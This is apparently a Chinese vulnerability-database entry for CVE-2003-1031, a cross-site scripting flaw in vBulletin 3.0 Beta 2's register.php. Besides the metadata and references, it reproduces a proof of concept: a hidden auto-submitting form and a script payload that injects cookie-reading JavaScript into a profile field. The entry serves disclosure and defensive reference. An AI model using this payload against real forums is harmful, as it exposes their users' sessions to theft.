vBulletin register.php跨站脚本(XSS)漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1107441 漏洞类型 跨站脚本
发布时间 2003-08-06 更新时间 2004-02-17
CVE编号 CVE-2003-1031 CNNVD-ID CNNVD-200402-066
漏洞平台 PHP CVSS评分 4.3
|漏洞来源
https://www.exploit-db.com/exploits/22990
https://www.securityfocus.com/bid/82736
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200402-066
|漏洞详情
vBulletin3.0Beta2中的register.php存在跨站脚本(XSS)漏洞。远程攻击者借助例如(1)"Interests-Hobbies",(2)"Biography",或者(3)"Occupation."的选项字段注入任意HTML或者web脚本。
|漏洞EXP
source: http://www.securityfocus.com/bid/8354/info

vBulletin may be prone to an HTML injection vulnerability. This issue is exposed through inadequate sanitization of user input for certain fields within the register.php script. An attacker may exploit this issue by including hostile HTML and script code in fields that may be displayed in posts to the message board, or the user's profile. This code may be rendered in the web browser of a user who views the malicious message.

[form action="http://[victim]/register.php?do=register" method="post"
style="display:none"]
[input type="hidden" name="s" value="" /]
[input type="hidden" name="regtype" value="1" /]
[input type="text" class="bginput" name="field1" value="" size="25"
maxlength="250" /]
[input type="hidden" name="url" value="index.php" /]
[input type="hidden" name="do" value="addmember" /] 
[/form]
[script]
//Code that will be executed
var xss = "\"][script]alert(document"+".cookie)[\/script]";
document.forms[0].field1.value=xss;
document.forms[0].submit();
[/script]

*Replace ([],<>)
|受影响的产品
VBulletin VBulletin 3.0 beta 2
|参考资料

来源:VULNWATCH
名称:20030808VBulletinNewMemberXSSVulnerability
链接:http://archives.neohapsis.com/archives/vulnwatch/2003-q3/0078.html